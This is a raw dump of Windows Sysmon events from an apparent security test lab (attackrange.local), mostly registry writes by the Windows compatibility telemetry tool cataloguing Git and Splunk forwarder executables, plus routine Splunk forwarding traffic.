14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-fetch.e|ab1d6cbc9e29e771\LinkDate08/24/2021 10:09:53 13241300x800000000000000036483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-fetch.e|ab1d6cbc9e29e771\Publisherthe git development community 13241300x800000000000000036482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-fetch.e|ab1d6cbc9e29e771\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-http-fetch.exe 13241300x800000000000000036481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-backend|bf2a9779f0e0f190\BinProductVersion2.33.0.2 13241300x800000000000000036480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-backend|bf2a9779f0e0f190\LinkDate08/24/2021 10:09:53 13241300x800000000000000036479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-backend|bf2a9779f0e0f190\Publisherthe git development community 13241300x800000000000000036478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-http-backend|bf2a9779f0e0f190\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-http-backend.exe 13241300x800000000000000036477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-help.exe|d3d7cc6cd9ec775b\BinProductVersion2.33.0.2 13241300x800000000000000036476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-help.exe|d3d7cc6cd9ec775b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-help.exe|d3d7cc6cd9ec775b\Publisherthe git development community 13241300x800000000000000036474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-help.exe|d3d7cc6cd9ec775b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-help.exe 13241300x800000000000000036473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-hash-object.|ea29aa5df7dca895\BinProductVersion2.33.0.2 13241300x800000000000000036472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-hash-object.|ea29aa5df7dca895\LinkDate08/24/2021 10:09:53 13241300x800000000000000036471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-hash-object.|ea29aa5df7dca895\Publisherthe git development community 13241300x800000000000000036470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-hash-object.|ea29aa5df7dca895\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-hash-object.exe 13241300x800000000000000036469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gui.exe|d3e16d00d6d9753e\BinProductVersion2.33.0.2 13241300x800000000000000036468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gui.exe|d3e16d00d6d9753e\LinkDate08/24/2021 10:09:53 13241300x800000000000000036467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gui.exe|d3e16d00d6d9753e\Publisherthe git development community 13241300x800000000000000036466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gui.exe|d3e16d00d6d9753e\LowerCaseLongPathc:\program files\git\cmd\git-gui.exe 13241300x800000000000000036465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-grep.exe|ed39fb46aff75ef0\BinProductVersion2.33.0.2 13241300x800000000000000036464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-grep.exe|ed39fb46aff75ef0\LinkDate08/24/2021 10:09:53 13241300x800000000000000036463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-grep.exe|ed39fb46aff75ef0\Publisherthe git development community 13241300x800000000000000036462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-grep.exe|ed39fb46aff75ef0\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-grep.exe 13241300x800000000000000036461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-get-tar-comm|7f010af0ea09c9e6\BinProductVersion2.33.0.2 13241300x800000000000000036460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-get-tar-comm|7f010af0ea09c9e6\LinkDate08/24/2021 10:09:53 13241300x800000000000000036459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-get-tar-comm|7f010af0ea09c9e6\Publisherthe git development community 13241300x800000000000000036458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-get-tar-comm|7f010af0ea09c9e6\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-get-tar-commit-id.exe 13241300x800000000000000036457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gc.exe|fdbdc98f5cb28d88\BinProductVersion2.33.0.2 13241300x800000000000000036456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gc.exe|fdbdc98f5cb28d88\LinkDate08/24/2021 10:09:53 13241300x800000000000000036455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gc.exe|fdbdc98f5cb28d88\Publisherthe git development community 13241300x800000000000000036454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-gc.exe|fdbdc98f5cb28d88\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-gc.exe 13241300x800000000000000036453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsmonitor--d|e5fc2f5ce2dcd18a\BinProductVersion2.33.0.2 13241300x800000000000000036452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsmonitor--d|e5fc2f5ce2dcd18a\LinkDate08/24/2021 10:09:53 13241300x800000000000000036451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsmonitor--d|e5fc2f5ce2dcd18a\Publisherthe git development community 13241300x800000000000000036450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsmonitor--d|e5fc2f5ce2dcd18a\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fsmonitor--daemon.exe 13241300x800000000000000036449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck.exe|d8efbaa5b906f8b2\BinProductVersion2.33.0.2 13241300x800000000000000036448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck.exe|d8efbaa5b906f8b2\LinkDate08/24/2021 10:09:53 13241300x800000000000000036447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck.exe|d8efbaa5b906f8b2\Publisherthe git development community 13241300x800000000000000036446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck.exe|d8efbaa5b906f8b2\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fsck.exe 13241300x800000000000000036445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck-objects|2121e55928d75601\BinProductVersion2.33.0.2 13241300x800000000000000036444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck-objects|2121e55928d75601\LinkDate08/24/2021 10:09:53 13241300x800000000000000036443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck-objects|2121e55928d75601\Publisherthe git development community 13241300x800000000000000036442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fsck-objects|2121e55928d75601\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fsck-objects.exe 13241300x800000000000000036441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-format-patch|9e2e07188f28a95d\BinProductVersion2.33.0.2 13241300x800000000000000036440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-format-patch|9e2e07188f28a95d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-format-patch|9e2e07188f28a95d\Publisherthe git development community 13241300x800000000000000036438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-format-patch|9e2e07188f28a95d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-format-patch.exe 13241300x800000000000000036437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-rep|c87afe0458a928d\BinProductVersion2.33.0.2 13241300x800000000000000036436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-rep|c87afe0458a928d\LinkDate08/24/2021 10:09:53 13241300x800000000000000036435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-rep|c87afe0458a928d\Publisherthe git development community 13241300x800000000000000036434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-rep|c87afe0458a928d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-for-each-repo.exe 13241300x800000000000000036433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-ref|3abb92553793f6f\BinProductVersion2.33.0.2 13241300x800000000000000036432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-ref|3abb92553793f6f\LinkDate08/24/2021 10:09:53 13241300x800000000000000036431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-ref|3abb92553793f6f\Publisherthe git development community 13241300x800000000000000036430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-for-each-ref|3abb92553793f6f\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-for-each-ref.exe 13241300x800000000000000036429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.308{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fmt-merge-ms|d963dc4ca06323fa\BinProductVersion2.33.0.2 13241300x800000000000000036428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fmt-merge-ms|d963dc4ca06323fa\LinkDate08/24/2021 10:09:53 13241300x800000000000000036427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fmt-merge-ms|d963dc4ca06323fa\Publisherthe git development community 13241300x800000000000000036426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.292{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-fmt-merge-ms|d963dc4ca06323fa\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-fmt-merge-msg.exe 354300x800000000000000013428Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:14.404{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50090-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013427Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:15.116{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE7A5B827CEAA1E2240C93342E36B377,SHA256=A5696D01BD42534CF603414F31744AD077F55C8F2201E4943C8BD82DF80CE859,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000038034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-regmon.ex|618812230e4591fb\Publishersplunk inc. 13241300x800000000000000038033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-regmon.ex|618812230e4591fb\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-regmon.exe 13241300x800000000000000038032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-powershel|2c084771581f2247\BinProductVersion(Empty) 13241300x800000000000000038031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-powershel|2c084771581f2247\LinkDate02/07/2020 15:18:45 13241300x800000000000000038030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-powershel|2c084771581f2247\Publisher(Empty) 13241300x800000000000000038029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-powershel|2c084771581f2247\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-powershell.exe 13241300x800000000000000038028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-perfmon.e|5179a15d38015aca\BinProductVersion2048.512.24125.32311 13241300x800000000000000038027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-perfmon.e|5179a15d38015aca\LinkDate02/07/2020 15:18:45 13241300x800000000000000038026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-perfmon.e|5179a15d38015aca\Publishersplunk inc. 13241300x800000000000000038025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-perfmon.e|5179a15d38015aca\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-perfmon.exe 13241300x800000000000000038024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 